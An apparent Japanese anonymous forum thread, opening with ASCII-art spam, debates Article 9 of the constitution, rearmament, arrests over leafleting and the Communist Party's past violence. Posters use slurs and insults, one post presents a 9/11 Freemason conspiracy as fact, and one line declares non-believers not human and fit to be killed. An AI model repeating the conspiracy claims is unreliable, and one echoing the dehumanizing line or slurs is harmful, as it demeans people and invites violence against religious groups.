　　　　　　　　 (^o^)ﾉ ﾋﾟﾝﾎﾟﾝ　　　三┌(^o^)┘ﾋﾟﾝﾎﾟﾝ　　　　　　　　　 ／|
　　　　　　　　 ﾉ( ﾍﾍ　　　　　　　三　┘>　 　　　三 ┌(^o^)┘ﾋﾟﾝﾎﾟﾝ |　ミ
　　　(^o^)ﾉ ﾋﾟﾝﾎﾟﾝ　　　　　　　　三　┌(^o^)┘ﾋﾟﾝﾎﾟﾝ　　　 ┘>／　　　|　　 ミ ＼( ^o^)／ ﾋﾟﾝﾎﾟﾝ
　　　ﾉ( ﾍﾍ　　　　(^o^)ﾉ ﾋﾟﾝﾎﾟﾝ　 三　　┘>　┌(^o^)┘ﾋﾟﾝﾎﾟﾝ　　　 ／　　　　ﾐ 　|＿/
　　　　　　　　　　ﾉ( ﾍﾍ　　　　　　　　　　　三　 ┘> 　／　　　／ |　　　　　 　ﾉ ﾉ
￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣|　　　／ 　 |　　ミ
　　　　　　　　　　　　　　　　　 　 　 　 　 　 　 　 　 　 |　 ／　　 　|　 ヽ(^o^ )ﾉ ﾋﾟﾝﾎﾟﾝ　　　　　　ミ ＼( ^o^)／ ﾋﾟﾝﾎﾟﾝ
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　　　　　　　　　　　　　　　　　　　　　　 　 　　　　　|　　　　　　　　|　　　　　　　　　ミ　　　　　　　　　 ﾉ ﾉ
　　　　　　　　　　　　　　　　　　　　　　 　 　　　　　|　　　　　　　　|　　　　　　　　ミ ＼( ^o^)／ ﾋﾟﾝﾎﾟﾝ
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　　||　　　　　　 　||　　　||._____________　...||　　　　　│　　　　　　　 |　　　　　　　　　　　　　　ミ
　　||　　　　　　　 ||　　　|||　 (^o^)　 |　 ||　　　　　│　　　　　　　 |　　　　　　　　　　　　　　　ﾐ＼(^o^)／ ﾋﾟﾝﾎﾟﾝ
　　￣￣￣￣￣￣　　　 ￣￣￣￣￣￣　　　　　　|　　　　　　　　|　　　　　　　　　　　　　　　 　　┘|

ピンポーーーーーーン

☆Ｐ☆Ｉ☆Ｎ☆Ｇ☆Ｐ☆Ｏ☆Ｎ☆Ｇ☆Ｐ☆Ｉ☆Ｎ☆Ｇ☆Ｐ☆Ｏ☆Ｎ☆Ｇ
　Ｐ☆Ｉ☆Ｎ☆Ｇ☆Ｐ☆Ｏ☆Ｎ☆Ｇ☆Ｐ☆Ｉ☆Ｎ☆Ｇ☆Ｐ☆Ｏ☆Ｎ☆Ｇ☆
☆Ｐ☆Ｉ☆Ｎ☆Ｇ☆Ｐ☆Ｏ☆Ｎ☆Ｇ☆Ｐ☆Ｉ☆Ｎ☆Ｇ☆Ｐ☆Ｏ☆Ｎ☆Ｇ
　Ｐ☆Ｉ☆Ｎ☆Ｇ☆Ｐ☆Ｏ☆Ｎ☆Ｇ☆Ｐ☆Ｉ☆Ｎ☆Ｇ☆Ｐ☆Ｏ☆Ｎ☆Ｇ☆
☆Ｐ☆Ｉ☆Ｎ☆Ｇ☆Ｐ☆Ｏ☆Ｎ☆Ｇ☆Ｐ☆Ｉ☆Ｎ☆Ｇ☆Ｐ☆Ｏ☆Ｎ☆Ｇ

太田光「タンポンを守るぞ!9条を守るぞ!9条を守るぞ!9条を守るぞ!9条を守るぞ!9条を守
るぞ!9条を守るぞ!タンポンを守るぞ!9条を守るぞ!9条を守るぞ!9条を守るぞ!9条を守るぞ
!9条を守るぞ!9条を守るぞ!タンポンを守るぞ!9条を守るぞ!9条を守るぞ!9条を守るぞ!9条
を守るぞ!♪9条9条9条9条9条、憲法9条♪♪タンポン9条9条9条9条、憲法9条♪♪9条9
条9条9条9条、タンポン♪」

ぴんぽ〜ん？
！！！！
ぴんぽ〜ん！！！
ぴんぽ〜んぴんぽ〜んぴんぽ〜ん！！！

護憲派というのは要するに反日派でありその主張には全く同意できないが私は彼らに同情する。
人が反日派になるのは日本社会に適応できなかったからであろう。
日本以外の国を知らない田舎者が、日本社会に適応できなければ反日派になるのも無理は無い。
彼らは日本が世界の中では上手くいっている国だとは認められないのである。
日本社会に適応するのは必ずしも容易ではない。
違法な暗黙のルール（例えば結婚していなくても他人の女に手を出してはならないとか）が企業でまかり通っているからである。
そのルールを破ったものに対しては、堂々と本音の理由でで処分すると違法なので陰湿なイジメ、嫌がらせで退職に追い込む。
しかし、企業の建前は法令遵守である。
企業はイジメの本当の理由を決して明かさないので、退職に追い込まれたものはなぜイジメで退職に追い込まれたか理解できない。
これが反日派を生み出し、自殺者3万人を生み出し、その10倍以上の鬱病患者を生み出しているのである。

　緊急アンケート募集中
憲法第九条を、どのように改正したらいいと思いますか？
1. 大日本帝国憲法のように侵略戦争を可能にする
2. アメリカ有志連合軍に参加できるようにしてイラクのような戦争に参加できるようにする
3. ＮＡＴＯ軍に参加できるようにする
4. 国連多国籍軍に参加できるようにする
5. 海外派遣はＰＫＯのみに限定する
6. 海外派遣と集団的自衛権は認めずに専守防衛だけ認める
7. 憲法第九条を改正せずに拡大解釈をする
8. 憲法第九条改正は反対して個別的自衛権を一切認めないが自衛隊は認める
9. 憲法第九条改正を反対して自衛隊を解散させる

　http://www48.tok2.com/home/totsugawa/

>200 さん、

流石は、現行平和憲法下で真っ当な教育を受けた方と、ご拝察申し上げます。
それでは、貴殿は　真　の　現　行　平　和　憲　法　の　擁　護　者　になられる御覚悟を
持つ様になるのか、お尋ねしたいのですが．．．。　真の現行平和憲法の擁護者は、

その本質である、　「諸国民の公正と信義に日本の安全保障を託す」

を信じ切りる事により、ひたすら九条の「お力」にすがる者になるのです。そして、その為には、
世界中で今、起きている　現　実　を　直　視　し　な　い　のです。 　つまり、

◇国を失った人々や国を形成する力の無い人々の状況について、現実のクルド人や
　パレスチナ人の悲惨さを、明日の我が身と考えないのです。

◇ヨーロッパで国を持てなかったユダヤ人は、蔑まれても、各国の社会で経済的に
　成功してある程度の位置を確保できましたが、彷徨えるロマの人々（ジプシー）の
　生活苦や寿命の短さなど、知らない方が良いのです。

◇国を失ったネィティブ・アメリカンやアボリジニが酒浸りの生活を送っている様な
　現実は見えない事なのです。

　⇒　その現実を思うと九条の「お力」を信じる心が揺らいでしまいます。
　　　　現行平和憲法を擁護する人々は、理想平和の追求に身を捧げる事しか
　　　　考えてはいけません。それは、イエスを信じる者がサタンの振る舞いを考えては
　　　　いけない事と同じなのです。

．．．続く

．．．続き

他国の軍隊が侵攻して来た場合は、何もせず、たとえ家族や恋人や友人達に何が
起ろうとも、現行平和憲法の理想に身を捧げた覚悟で耐え切るのです。
（武器を使用しても解決できないと決めたのですから）

⇒　国際紛争を武力で解決しない事を明記しておりますので、たとえ紛争当事国に
　　なったとしても、戦力は保有せず行使できないのです。　もちろん、国民の一人一人が
　　武器を持って戦うのは否定されておりませんが、交戦権に基づかない武力の行使は
　　ゲリラ活動と見なされてしまいます。

この様に、現行平和憲法による安全保障の世界は、武力を捨て、その理想に全てを
任せる覚悟が有る人達の心の中に在る、 お花畑の世界なのです。
さぁ、その理想に殉じる御覚悟を．．．。

兵器崇拝狂信者の妄言晒し上げ

全く反論できない信者達面白すぎ
右往左往する烏合の衆を更に晒し上げ

>>201
＞その中で日本だけ持ってはだめという理由は？

持っては駄目ではありません。
外国に派兵するのが、気が引けるから権力者が改憲したいの。
憲法は権力者を縛るもので、国民を縛るのは法律。

縛りを解いて欲しくて安倍晋三氏はじれて狂乱状態。

−−−−−（引用開始）−−−−−
−−−−−（引用開始）−−−−−
第9条二項に違反すると考えられる防衛力とは、攻撃的防衛力である。攻撃的防衛力
とは何かというと、先制攻撃能力である。先制攻撃とは何かというと、第2次世界大
戦において日本が真珠湾でやったことであり、イラク戦争でアメリカがやったこと
（大量破壊兵器があるという思いこみだけでイラクを徹底破壊）である。

要するに、第9条二項を外して先制攻撃能力を持つということは、日本が歯止めなし
の戦争能力を持ち、何でもありの戦争をすぐにはじめられる状態に身を置くという
に等しいことである。
http://www.nikkeibp.co.jp/style/biz/feature/tachibana/media/050512_shisyu/index1.html

戦争を始めるには

★徴兵制の導入
★敵地攻撃用弾道ミサイル
★空母、原子量潜水艦
★核弾頭ミサイル

が必要なのだがな。

>>246
エナリあちこちでご活躍だな

日本が先制攻撃能力をもつと、あたかもすぐ戦争が起きるように
煽るのは滑稽だな
その理屈でいくと先制攻撃能力をもっている国は世界中に多数あるから
あっと言う間に世界大戦が始まるな

ところで他人の引用ばっかりしてないで少しは自分の頭も使ったほうが
いいんじゃないか

今回の自衛隊の件で安倍に改憲なんかやらせるのは基地外に刃物だと思った。

ですねほんとに

サヨクは、奴隷（ｹﾞﾗｹﾞﾗ

ムフフさん以外に憲法に殉じることが出来る護憲派はいるのか？

あれは改憲派で荒し、名前出すだけで荒らし扱いになるよ

そうなのか？

http://d.hatena.ne.jp/suuuuhi/20070512
　明仁天皇が象徴責任を果たしてきた軌跡をたどってみよう。父裕仁天皇の死の前後に、右派勢力のネットワークを背景に、実質的な自粛強制の嵐が社会を覆い尽くした。
この瞬間、日本国で自由は失われていた。そのとき控えめながら、この自粛強制の社会的暴走をやめるように発言したのが彼であった。
明仁天皇は、「国民と共に日本国憲法を守り、国運の一層の進展と世界平和、人類の福祉の増進を切に希望して止みません」と所信表明をしながら立った。
裕仁天皇に戦争責任があると発言した本島等長崎市長が狙撃されると、明仁天皇は天皇の問題もふくめて言論の自由があると発言した。
東京都教育委員の米長邦雄の「日本中の学校に国旗を掲げ、国歌を斉唱させるのが私の仕事です」という発言に対して、「やはり、強制になるということではないことが望ましい」と切り返した。
また、「私自身としては、桓武天皇の生母が百済の武寧王の子孫であると続日本紀に記されていることに韓国とのゆかりを感じています」という発言をわざわざおこなう意味は、右派が天皇象徴を偏狭なナショナリズムに位置づけるのを阻止するということである。
これは右派勢力に対する婉曲な牽制である。
　右派が許容限度を超えて力を伸ばしている危機的現状に対して、明仁天皇は、もはや控えめではない、はっきりした発言をするようになってきている。「日本は昭和の初めから昭和二〇年の終戦までほとんど平和な時がありませんでした。…」
「そのような（昭和の初めから終戦までの‥内藤注）状況下では、議員や国民が自由に発言することは非常に難しかったと思います。
先の大戦に先立ち、このような時代のあったことを多くの日本人が心にとどめ、そのようなことが二度と起こらないよう日本の今後の道を進めていくことを信じています。」
　ここでいう「昭和の初めから昭和二〇年代の終戦まで」とは、アッパー系天皇に酔いしれた右派勢力が日本社会を牛耳ったピークの時期である。
この天皇発言は、「右派勢力に天皇象徴を利用させない！」、という強烈な反右派宣言である。彼が強い危機感を抱いていることがうかがえる。

>>255
右派＝戦前て単純な頭のつくりだよな
この程度で学者やってられんだから、ため息出るよ

戦前回帰の傾向は事実だけどな

>>257
右派、保守的なものと戦前の区別がつかないんだからな

▼米国FBIの言論弾圧を弾劾せよ！　　　　　　
　米国民主主義に対して第二次世界大戦の戦後審判とはまったく関係なく、新たな主張を行うことにより危険思想保持者と見なし、記事の削除とアクセス禁止による明らかな言論弾圧を行っている。
　FBIは、沖縄米軍基地における軍事的弊害説、９．１１フリーメイソン陰謀説に対する言論弾圧が認められた。
▽民主主義の国民が防衛理念を含む専門知識に基づいて投票することは有り得ない。
　したがって軍事兵器の使用は極めて不明瞭な理由により過ちを繰り返しやすく、軍事的弊害を含んでいると言える。
　イラクの軍事支配という中東の混乱により米軍の軍需産業は事実上沖縄にまでこの軍事的弊害を生じさせたのである。
　一方、１９９６年８月２８日、最高裁は米軍用地の強制使用手続きをめぐる代理署名訴訟で、米軍基地への土地提供を定めた米軍用地特別措置法は憲法に違反しないという判決を下した。
　この米軍用地特別措置法は同盟上の米軍の軍需産業を容認するものであるが、前述した沖縄の軍事的弊害とは、似て異なるものであり、両者を民主主義において憲法上合法とすることは不当な判決であると言わざるを得ない。
▽米国同時多発テロ９．１１は、事実上米軍のイラクでの軍事活動を正当化せしめたのであり、数十万の身体障害者を含む戦争犠牲者を齎した。
　そして、ブッシュ政権はイラクの民主化に必要な要件を満たしていないばかりか、フリーメイソンの教義に含まれる虐殺思想の終端と軍事経済破綻を防ぐべく水面下での隠蔽工作をしたかの如き示唆を繰り返しているのである。
　なぜならば、米国の権威は少数民族を虐殺したことにより維持されてきたからであり、この戦争利権を維持するために大規模なテロ事件を通じて米国民を洗脳する必要があったと言えるからである。
　つまり、戦争の可否は国民洗脳により誘導された似非民主主義的な判断に基づくものである。

>253
>254

イイエ！、　嵐ではございません。

護憲の方々に、現行平和憲法の本質をよくよく理解していただき、

　真　の　現　行　平　和　憲　法　の　擁　護　者　になれるものか？

お考えいただき、日本の安全保障のあり方を考える者です。

>>247
＞戦争を始めるには

バカかお前は！
いまイラクに行ってる航空自衛隊が、ゲリラのいる場所を爆撃したら戦争だろ。

起こそうと思えば、いつだって起こせるけど国民の支持を失って権力を失うから
やらないだけの事。

基地の中から出てこない陸上自衛隊のタコツボ作戦じゃ、戦争にならんけどな。

アフガンではNATOは戦争をやってると言えるよ。
今や完全にアフガンでは負け戦になってしまったけど・・・・

−−−−−（引用開始）−−−−−
ＮＡＴＯは軍事作戦に偏重しているとし、激戦地域に兵力を展開させて、戦死者
を出すことへの懸念や反発も根強い。

　ユング独国防相は会議後、「軍事支援ばかりを話し合っている場合ではない」と反発。
http://www.iza.ne.jp/news/newsarticle/world/america/41621

>>248
＞あたかもすぐ戦争が起きるように 煽るのは滑稽だな

戦争がすぐ起きるなんて、俺が言ったか？
戦争へのブレーキ装置を安倍晋三、小泉純一郎が、ドンドンはずしてるということ。

走り出したら、まず止めてないでしょう。
今じゃビラさえ、警察に捕まるのを考えながら配らんとイカン。
これからは普通の人間が、反政府ビラをもって動く事も出来ないでしょう。

−−−−−（引用開始）−−−−−
第二回公判の浅霧証人は「ピザ屋などのビラはきれいだ」などそもそもビラ
一般に本当に迷惑していたのかどうかきわめて曖昧な態度をとりました。

また、第四回公判証人の及川証人もビラ一般に迷惑していたという姿勢をとっ
てはいますが、実際に被害届が出され、起訴されたのは我々のみです。
http://www.geocities.jp/solea01/test.html

http://d.hatena.ne.jp/suuuuhi/20070506
憲法改正は、時期尚早。まずは、タカ派の排除。憲法改正をするなら、今度の参院選と衆院選で、タカ派を落としまくってから、その後で。
タカ派が乗っ取ってしまった今の自民党にみんなが票を入れると、日本が先進諸国型の自由な社会（成熟した社会のグループ）から脱落し、
中国・インド・北朝鮮・イラン・サウジアラビア（そして、ブッシュ政権によって野蛮国に転落したアメリカ。民主党への政権交代によって、少しはましになってほしい）・・・型の抑圧社会の部類(低級な社会のグループ）になってしまう。
民度の高い国民の投票行動によって、タカ派の国会議員がいなくなるのが、健全な社会だ。
自民党は加藤さんや谷垣さんぐらいの保守度でちょうどいいあんばいだ。
有権者がタカ派を落としまくってちょうどいいあんばいになった保守自民党と、党内タカ派を追放したリベラル民主党とで、切磋琢磨し、政権を競えばいい。
タカ派はドイツのネオナチやフランスの王党派（今でもあるようだ）のような勢力として、オタッキーな変わり者として、政治の外で遊んでいればいい。ただしタカ派を政治勢力の内部に存在させてはならない。
タカ派が政治勢力として存在するかぎりは、憲法改正は危険すぎてできない。
たとえばドイツで憲法改正するのはあたりまえだが、ネオナチが政権をとっているときに憲法改正をしたら社会は破滅する。それとおなじことだ。
逆に、憲法改正が必要であり、急いでなされなければならないとするならば、やることはただ一つ。
与党からのタカ派の追放。政治勢力としてのタカ派の消滅。もし憲法改正をやる必要があるなら、タカ派が消滅して日本をヨーロッパ並にした後に、憲法改正。今は、時期尚早。

>>263
これが学者の書く文章なのか？
こいつは随分とタカ派がお嫌いのようだけれど
自分と主張の会わないタカ派は排除してもいいと
いうんだから恐ろしい
この手の連中にしばしば見られる傾向であるけれども
自分達の主張が絶対正しく、その為には、自分達と相容れない
主張は排除していいと考えている。
この手の連中はファシズムを非難するけれども、結局
自らが同じ愚を犯していることに気づかないとは滑稽なことだ。

>>261
自衛隊の航空機がどうやって地上攻撃するの？ｗ

>>262
> 今じゃビラさえ、警察に捕まるのを考えながら配らんとイカン

エナリくんお得意の話のすり替えだね。ビラを配ったから逮捕され
たんじやない。違法行為をしたから逮捕されたんだよ。ドアホ！


みなさ〜ん。エナリは平和主義者ぶってるけど、本当は帝国主義を
支持してるんだよ。別のスレでオレが韓国の竹島侵略を批判したら、
エナリはこう答えました。---引用開始--- w

> 戦争に負けポツダム宣言を受諾した時点で日本が、がたがたヌカス
> 資格はない。
http://money6.2ch.net/test/read.cgi/seiji/1164029474/543

> 武力を背景に話し合いそれで解決しなければ武力を戦わせるのが
> 正当な領土の決め方というべきだと思うのだけどね。
http://money6.2ch.net/test/read.cgi/seiji/1164029474/553

>>266
＞ビラを配ったから逮捕されたんじやない。違法行為をしたから逮捕されたんだよ。ドアホ！

間違い！
権力者に都合の悪いビラを配ってるから「違法行為を見つけ出して」逮捕したの。
根源的理由を無視しないようにしなさい！

昔はビラを配るくらいでは、警察が動かないのは常識でした。
この逮捕は別件逮捕といって、権力者が一番使いやすい違法行為というべきもの。
違法行為を権力者と警察が、たとえ行なっても取締りが出来ないのが現実なんだよ。

少しは現実を見る目を、日本人として持ちなさい！

ーーーーー（引用開始）−−−−−
私はあなたの意見に反対だ。
しかしあなたにはそれを言う権利がある。
私はその権利を命をかけて守る。
http://piron326.seesaa.net/article/6945815.html

>>267
> 権力者に都合の悪いビラを配ってるから「違法行為を見つけ出して」
> 逮捕したの

エナリの言う事件がどの事件かは定かでないが、自衛隊の官舎へのビラ
配り事件のことだったら、無知すぎるね。
あいつらは反自衛隊の団体で、ずっと以前から官舎の前にテントを張って、
自衛隊員やその家族の生活を、双眼鏡で覗いたりカメラで撮影したりして
いたんだよ。ビラ配りも一度や二度ではなく、住民が敷地に入らないで
くれと頼んでも、それを無視して、執拗にビラ配りを続けたんだよ。その
行為に困り果てた住民が警察に相談して、警察からも警告をしたけれども、
それでも止めなかったから、ついに逮捕という結果になったんだよ。
それから、ビラ配りの仕方も非常に悪質で、一般の業者などは、集合ポスト
に投函するのに、こいつらはわざわざ一軒一軒の玄関前まで侵入して、ビラ
を入れて回ったんだ。自衛隊の存在そのものを、狂信的に否定している団体
が、家族たちの暮らす部屋のすぐ前まで、毎日のようにやって来てだよ。
これは表現や言論の行為ではなく、ただのストーキング(嫌がらせ)なんだよ。
ビラを配るだけなら、外の通りでも、駅前でも、集合ポストへの投函でも、
出来るわけだからね。

みなさ〜ん。エナリはストーカーも正当化しましたよー。

>>268
＞一般の業者などは、集合ポストに投函するのに、こいつらはわざわざ一軒一軒
＞の玄関前まで侵入して

間違い！
一般の業者が全部、集合ポストという事はない。
いろんな業者がいることくらい判らんのかね、アンタ。

ビラが本人に読んで貰う為には、一件づつ入れるのが少しでも可能性は大きい。
集合ポストじゃ、読みもしないでビラをマトメてポイというのが多いんだよ。

自衛隊の存在に反対するのも、主権者の一部の意見としてはある。
その主張を伝えれなくする権利は、使用人たる役人にはありません。
むしろそれを保護する義務があるというべき。

俺がイメージしてたビラ事件は、共産党員がアパートに入れた事件なんだけど、
この件に関しては何といって言い訳するつもりなの？

ーーーーー（引用開始）−−−−−
男性に「やめろ」といってきた住人は、携帯電話で「ＰＣ（パトカーのこと）
を使う」「ガラ（身柄）は押さえる」などの警察用語で警察に連絡しました。

　やってきた警官が男性に「ちょっと事情を聞かせてほしい」といい、男性は
同行しました。男性は亀有署で「私人による現行犯逮捕ですでに逮捕されている」
と告げられて初めて、「逮捕」を知るという状態でした。
http://www.jcp.or.jp/akahata/aik4/2005-01-08/03_01.html

>>269
> いろんな業者がいることくらい判らんのかね

またすり替えかよ(笑)。一般業者の誰がそんなことをしたのかね。
推測だけでいい加減なこと言うなよ。しかもランダムにビラを入れ
てる業者と。カルトな政治団体がピンポイントでやってることを、
同列にするんじゃねーぞ。

> 集合ポストじゃ、読みもしないでビラをマトメてポイというのが
> 多いんだよ

住民にビラを読む義務なんてないだろ。キチガイの戯言なんて、読む
ヤツの方が少ない。お前は何度止めてくれと言っても聞かず、日常の
日常の生活を四六時中監視するような行為を、正当化するのかよ。

> 主張を伝えれなくする権利は、使用人たる役人にはありません

主張する方法は、他にいくらでもあるだろバカ。住人に止められてる
のに、私有地に無断で入り込む権利なんて、ある分けない。

> 共産党員がアパートに入れた事件なんだけど、この件に関しては何と
> いって言い訳するつもりなの

言い訳する必要などないだろ。違法行為なんだから。言っとくけどエロ
ビラ配って逮捕されたやつだって、沢山いるんだよ。大きなニュースには
ならないけどね。
ましてや、人殺しやテロを肯定していた政治団体の構成員に、うろうろ
されたくないという住人の気持ちはよく解るよ。共産党は暴力革命を
やめたと言ってるけども、過去に行った数々の暴力行為は、何の反省も
謝罪もしていないからね。

>>270
>一般業者の誰がそんなことをしたのかね。
>推測だけでいい加減なこと言うなよ。

アンタね、実社会体験が足らないのじゃないかね。
俺が横浜の公団住宅にいたとき、集合ポストに入れるビラと共に
糞マジメな業者は、７階の俺のうちのドアポストにも入れてたぜ。

実社会経験の差なのかね。

ビラを読む義務があるなんて書いてないだろ。
言論の自由のためには、ビラを配る自由は権力者や警察が保護する義務があるというの
もう少し文章は、素直に読みなさい。

それから日本共産党は暴力革命の誤りは反省してるよ。
ロクに共産党をチェックしてないね、アンタは。

ーーーーー（引用開始）−−−−−
日本共産党が、それまで採っていた武装闘争を「極左冒険主義」と自己批判し、
30年7月の第6回全国協議会（6全協）で戦術転換を図ったことから、武装闘争
の中心となっていた学生党員等の間で指導部への不信感が生まれました。
http://www.npa.go.jp/kouhousi/biki2/sec02/sec02_0201.htm

>>271
> 実社会体験が足らないのじゃないかね
お、人格攻撃できたね。

> ７階の俺のうちのドアポストにも入れてたぜ
結局、推測じゃないか(笑)

> ビラを読む義務があるなんて書いてないだろ
だったら集合ポストでもいいだろ。何度も侵入しないように言われて
るんだから。外の通りで配ったっていい。住人は立てこもっている
訳じゃないんだからね。

> 言論の自由のためには、ビラを配る自由は権力者や警察が保護する
> 義務がある
アホ。違法行為を保護する警察がどこにある。いいか。憲法にだって、
あらゆる権利は「公共の福祉に反しない限り」保障されると、書いて
あるだろ。他人の日常生活や権利を踏み躙ってもいい権利なんて、
どこにもないんだよ。

>>271
> 日本共産党は暴力革命の誤りは反省してるよ
殺したり傷つけたりした人達に、いつどこで謝罪したんだ？ 言ってみろ。

・お前の示したリンク〜
(暴力を肯定した)51年綱領を「一つの重要な歴史的な役割を果たした」
と評価した上で・・・

革命が「平和的となるか非平和的となるかは結局敵の出方による」と
する、いわゆる「敵の出方」論による暴力革命の方針が示されました。

第23回党大会で、昭和36年7月の第8回党大会で採択して以来5回目と
なる綱領改定を行い・・・二段階革命論、統一戦線戦術といった
現綱領の基本路線に変更はなく、不破議長も改定案提案時、「綱領の
基本路線は、42年間の政治的実践によって試されずみ」として、路線
の正しさを強調しました。
このことは、現綱領が討議され採択された第7回党大会から第8回
党大会までの間に、党中央を代表して報告された「敵の出方」論に
立つ同党の革命方針に変更がないことを示すもの・・・

反省なんかしてねーじゃないか。むしろ評価しているだろ。しかも
敵の出方によっちゃ、いつでも暴力を使う用意があるということだろ。
都合のいい所ばかり読んでんじゃねーぞ。

>>272
＞結局、推測じゃないか(笑)

推測じゃなく、俺が体験した事実を書いてるのに、あなたには日本語が通じないのかい？

それ「他人の日常生活や権利」って漠然としたもんで警察や権力者がそれを使って、
言論の自由を抑圧する理由にはならん。

そんな理由が通れば、ビラなんて誰も配れなくなるよ。

ーーーーー（引用開始）−−−−−
基地に出入りする米兵の車に「憲法９条」が書き込まれた平和を訴える英文ビラを配布。

家族連れの米兵が車から手を出し、「モーニング」等と声をかけビラを取っていく、平和的
な行動でした。
そこに突然、パトカーが来て、宣伝カーの移動を命じ、ビラ配布の中止を求めました。

車両を移動し、木津さんがパトカーの警察官にビラ配布を禁止する理由を問いただした
ところ、突如パトカーが発進し､木津さんが転倒｡
http://www.kyuuenkai.gr.jp/shinbun/2005/20051125.htm

>>273
＞敵の出方によっちゃ、いつでも暴力を使う用意があるということだろ。

その理由も判らんわけじゃないけど、行きがかり上そう書かざるをえんだろう。
でもその為に共産党の過激派は、分離独立したんだから中身は全面降伏・平和革命
への方針変更だよ。

俺が先に紹介したＨＰは警察関係だったが、こっちの方が客観的解説だ。

ーーーーー（引用開始）−−−−−
六全協は、のちの「議会闘争を通じて幅広い国民の支持を得られる党」へと
作り変える一つの契機となったが、この時点では「農村から都市を包囲する」
というそれまでの中国革命方式の武装闘争方針を放棄したのであって、「暴力
革命」路線全般を完全に放棄したわけではない。

新指導部のもとで、新しい綱領と明確な路線を確定するまでには、あと数年を
要した。

山村工作隊などの活動に参加していた学生党員は、突然の路線転換に衝撃を
受け、党を去った者も少なくない
http://ja.wikipedia.org/wiki/%E6%97%A5%E6%9C%AC%E5%85%B1%E7%94%A3%E5%85%9A_%E7%AC%AC6%E6%9C%9F%E5%85%A8%E5%9B%BD%E5%8D%94%E8%AD%B0%E4%BC%9A

>>274
> 推測じゃなく、俺が体験した事実を

へえ、お前の身近に起こったことは、自衛隊の官舎でも起こるってわけか？
それにそんな事、問題の本質じゃないだろ。

> そんな理由が通れば、ビラなんて誰も配れなくなるよ

まだ下らない屁理屈を垂れてんのかよ。ビラ配りで逮捕されたわけじゃない。
不正侵入したから逮捕されたんだよ。

> 木津さんが・・・

お前と同類が事実を曲解して騒ぎ立てているだけ。サヨクお得意の当たり屋
行為。嫌がらせを仕掛けて、相手が対応しなければならないように仕向け、
対応すると、それを逆手にとって(被害者を装って)騒ぎ立てる。常套手段。


>>275
共産党が暴力路線を一時的に封印したのは、暴力を使っていたら民主主義社会
の中で、有権者に支持されず、議席を確保できないと気付いたからだよ。自分達
の政治的目的を達成するためには、正しくない戦略だったと反省しただけ。
だから、暴力の犠牲になった人達に、謝罪も賠償もしていない。暴力をふるって
きた党員の処分もしていない。
共産党は現在護憲だけど、党の憲法たる綱領に９条のような文言は見当たら
ない。「日本共産党は政治的目的を達成するための手段として、暴力はこれを
永久に放棄する」くらい書いてあったら、少しは信用するけどね。

>>276
＞不正侵入したから逮捕されたんだよ。

今ではビラ配りさえ「不正侵入」とかいう事を心配しながらじゃないと出来ない
不自由な世の中になってしまったということ。
昔は平気で誰でも出来たビラ配りなんだけどな！！！

ーーーーー（引用開始）−−−−−
共産党の機関紙「しんぶん赤旗」の号外を警視庁職員官舎の集合ポストに入れた
として、東京地検は２９日、厚生労働省社会統計課の宇治橋真一・課長補佐（５７
）を国家公務員法違反（政治的行為の制限）の罪で在宅起訴した。宇治橋課長補佐
は住居侵入容疑の現行犯で逮捕・送検され、国公法違反の疑いでも追送検されてい
たが、地検は前者について不起訴処分（起訴猶予）とした。
調べに対し、宇治橋課長補佐は両容疑についての供述を拒否しているという。

　ビラ配布による住居侵入容疑事件で、東京地検は０４年３月、東京都立川市の自
衛隊官舎で反戦ビラをまいたとして市民団体メンバー３人を起訴（一審で無罪判決
＝検察側が控訴）。０５年１月には東京都葛飾区のマンションで共産党のビラをま
いたとして男性（５８）を起訴（一審公判中）した。今回、住居侵入容疑は不起訴
としたことについて、地検は「事案が軽微だったため」と説明している。
（朝日新聞 　2005年09月30日より）

>>276
＞「日本共産党は政治的目的を達成するための手段として、暴力はこれを
＞永久に放棄する」くらい書いてあったら、少しは信用するけどね。

俺はそれでも信用はしない。
諸行無常。

物事は常に変化していくもの。
公明党も共産党も民主党もすべてが「変化していくもんなんだよ」

だから今の時期は、俺は民主党を支持してるけど民主党が長期政権になって
腐敗してきたら、他の野党を支持するだろう。
永遠に不変なんて、人間の妄想にすぎん。

>>278
半分正しい。
半分というのは日本日本共産党も同じことを考えている。
だから暴力革命を否定しても共産主義社会の実現そのものは否定していない。

日本日本共産党は今の日本で革命を叫んでも意味がないから引っ込めているだけ。
革命叫んで孤立するよりもサービス残業とか税金の問題を、
そんな小さな問題を少しでも国民のために解決するほうがましだって考えている。

つまり、日本日本共産党は暴力革命が出来るようになれば暴動を始動するぐらいのことは当たり前にする。
別におかしくはないでしょ？

で、何が半分間違っているかってことだけど。
信用するしないの問題じゃないって思うんだよね。
大切なのは暴力を放棄すると言ういい分を受け止めるだけじゃなくて
暴力を放棄させることだって考えている。

憲法を守らせるとか
政治の腐敗を許さないとか
生活の破壊は許さないとか
みんな同じことだよ。

大切なのは正しいって思うことを実現させようって考えることじゃないか？
民主党を支持するなら　支　持　で　き　る　民主党を　作　り　続　け　れ　ば　いいんだ。
長期政権になったら腐敗するだろうけどねw

>>279
>暴力を放棄させることだって考えている。

赤の他人の組織に、暴力を放棄させるなんて出来るとでも思ってるのかい？
俺は無理と思うぜ。

環境が変われば、人間も組織も変化していくもの。
変化しないものはない。

環境が暴力を要求すれば、どんな平和な口先をしてても組織は変化していくもの。
たとえ平和を説く宗教団体でさえ同じこと。

そういえばイスラム教は自殺を禁じてたというけど、過激な連中は自爆てろする
事を賞賛して英雄視するようになってしまった。
環境が平和な集団を、暴力集団に変化させたんだよ。

ーーーーー（引用開始）−−−−−
イスラムとは平和という意味であり、

イスラム教の経典コーランの中でも

人を殺すことや自殺は禁じられています。

だから先のテロもコーランでは禁じられていることなのです。
http://www.geocities.co.jp/NatureLand-Sky/2366/isram.htm

異教徒は「人」ではない
自分たちと異なる宗派はイスラムを騙るニセモノであり、やはり「人」ではない
だから、

　　　　殺 っ て も い い の だ

>>281
異教徒が考えそうなことだな。
異教徒の無知には悲しみしか感じない。

▼軍隊はオエラ方福祉は庶民
▼戦争で勝っても庶民は苦痛のみ
これは歴史的にも真実です
◆日本の皆さん、世界平和という大きな夢と目標を持ち国を挙げて大騒ぎしましょう。
平和憲法を世界に広めましょう
国民に活気と喜びが湧き上がりますよ。日本人には大きな夢が必要なのです。
次ぎより引用
http://www002.upp.so-net.ne.jp/HATTORI-n/032.htm

>>277
> 昔は平気で誰でも出来たビラ配りなんだけどな！

日本の公共マナーが向上したということ。
ビラ撒きは今でも平気でできるよ。公共の福祉に反しない限りね。

>>283
